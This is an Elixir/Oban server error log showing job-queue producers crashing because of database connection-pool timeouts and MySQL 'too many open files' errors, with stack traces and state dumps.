[Sat Sep  5 23:32:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:32:03.240249Z], limit: 50, uuid: "47d658e1-17cd-49ad-9914-f43217053037", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.240255Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.13499>, refresh_timer: #Reference<0.2525715032.1068498948.13472>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:32:03.240238Z], limit: 5, uuid: "430c05d5-679d-4282-bcbc-eca6b483e80c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.240245Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120060>, refresh_timer: #Reference<0.2525715032.1121189889.120042>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:32:03.240405Z], limit: 5, uuid: "01b90189-577a-4f8d-8b06-2a335f9e99ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.240410Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21319>, refresh_timer: #Reference<0.2525715032.1121189889.120051>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:32:03.240191Z], limit: 3, uuid: "cbd31e15-24ce-44d0-a7d0-127e700cfa38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.240197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21317>, refresh_timer: #Reference<0.2525715032.1099431938.21296>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:32:03.240460Z], limit: 10, uuid: "eec04d77-59ec-4ea6-8402-19e35de05432", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:03.240466Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21318>, refresh_timer: #Reference<0.2525715032.1121189889.120053>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:16.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:20.383000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:21.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:22.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:24.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:26.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:32:15.238351Z], limit: 20, uuid: "d037311d-2d84-4967-874a-aed5a5318c8e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.238358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21665>, refresh_timer: #Reference<0.2525715032.1068498948.13709>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:27.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:32:15.239382Z], limit: 5, uuid: "f1645318-a889-4840-b069-a31a98a2c27f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.239402Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251796>, refresh_timer: #Reference<0.2525715032.1068498948.13735>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:32:15.238677Z], limit: 50, uuid: "18732677-11de-474b-899d-917b8dd4cad2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:15.238683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.21666>, refresh_timer: #Reference<0.2525715032.1068498948.13718>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
